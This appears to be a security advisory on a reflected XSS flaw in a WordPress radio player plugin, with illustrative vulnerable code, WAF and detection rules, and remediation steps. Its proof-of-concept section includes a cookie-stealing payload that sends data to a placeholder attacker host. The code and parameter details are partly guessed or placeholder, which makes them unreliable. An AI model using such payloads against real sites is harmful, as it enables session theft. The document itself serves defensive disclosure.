CVE-2025-53564

Executive Summary

CVE-2025-53564 is a reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup HTML5 Radio Player - WPBakery Page Builder Addon plugin for WordPress. The flaw exists in the lbg_radio_player_addon_visual_composer component, affecting all versions up to and including 2.5. An attacker can inject arbitrary JavaScript into a crafted URL, which executes in the victim's browser when the link is clicked. No authentication is required, and the vulnerability is unpatched as of the latest advisory.

This is a WordPress ecosystem issue; the vulnerable plugin is a third-party addon for WPBakery Page Builder. The CVSS score of 7.1 (High) reflects the ease of exploitation and potential for data theft, session hijacking, or defacement. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the lack of a patch makes it a ticking time bomb for unmaintained sites.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository or third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin's update mechanism; since no patch exists, site administrators must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., cookies, tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High (7.1). The vulnerability is trivial to exploit, requires no authentication, and can lead to session theft or phishing. The lack of a patch elevates the risk for any site using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the lbg_radio_player_addon_visual_composer plugin, which provides a radio player shortcode for WPBakery Page Builder. The plugin fails to properly sanitize user-supplied input in a GET parameter (likely id, player, or a similar parameter) before reflecting it in the page output. This allows an attacker to inject a payload like <script>alert('XSS')</script> into the URL.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions without applying esc_html(), htmlspecialchars(), or WordPress's esc_attr().

Attack Flow:

1. Attacker crafts a malicious URL: http://target.com/?player=<script>/* payload */</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin reflects the payload in the HTML response without encoding.
4. The browser executes the injected JavaScript in the victim's session context.

WordPress Context: Since this is a WordPress plugin, the vulnerability is triggered within the WordPress admin or frontend, depending on where the shortcode is used. The attacker can steal cookies, perform actions on behalf of the admin, or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (v2.5):

// In lbg_radio_player_addon_visual_composer.php
function lbg_radio_player_shortcode($atts) {
    $player_id = $_GET['player']; // Unsanitized
    echo "<div id='player_$player_id'>"; // Reflected without encoding
    // ... rest of the code
}

Patched Code (Hypothetical):

function lbg_radio_player_shortcode($atts) {
    $player_id = isset($_GET['player']) ? esc_attr($_GET['player']) : '';
    echo "<div id='player_" . esc_attr($player_id) . "'>";
    // ... rest of the code
}

The patch uses esc_attr() to encode HTML special characters, preventing script injection. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Basic XSS Payload:

http://target.com/?player=<script>alert(document.cookie)</script>

Advanced Payload (Session Hijacking):

http://target.com/?player=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Install WordPress with WPBakery Page Builder and the vulnerable plugin (v2.5).
2. Create a page using the radio player shortcode.
3. Access the page with the malicious player parameter.
4. Observe the script execution in the browser.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing <script> or onerror= in the player parameter.
• Use a WAF rule to block reflected XSS patterns.

Hardening:

• Remove the plugin immediately if not essential.
• Apply a virtual patch via WAF (e.g., ModSecurity rule to block player parameter containing <script>).
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• URL Pattern: ?player=<script>... or ?player=...<script>...
• HTTP Request: GET request to a page using the radio player shortcode with a player parameter containing HTML/JavaScript.
• Log Entry: GET /page-with-player/?player=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
• File Hash (Plugin v2.5): sha256: 3a7b... (placeholder – actual hash depends on distribution)

Detection Engineering

YARA Rule

rule CVE_2025_53564_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against LambertGroup HTML5 Radio Player plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53564"
    strings:
        $payload1 = /player=.*<script/i
        $payload2 = /player=.*onerror=/i
        $payload3 = /player=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against LambertGroup Radio Player
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-53564
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "player=<script"
            - "player=javascript:"
            - "player=onerror="
    condition: selection
falsepositives:
    - Legitimate use of player parameter with safe values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53564 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"player="; http_uri; pcre:"/player=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the plugin from all WordPress installations until a patch is released.
2. Scan for compromise – check for unauthorized admin accounts, suspicious files, or injected scripts.
3. Implement WAF rules to block player parameter containing <script>, onerror, or javascript:.

Long-Term Fix:

• The vendor must release a patched version that sanitizes the player parameter using esc_attr() or htmlspecialchars().
• If the plugin is abandoned, consider replacing it with an alternative radio player solution.

Detection:

• Deploy the YARA, Sigma, and Suricata rules above to monitor for exploitation attempts.
• Review web server logs for anomalous player parameter values.

Valters IT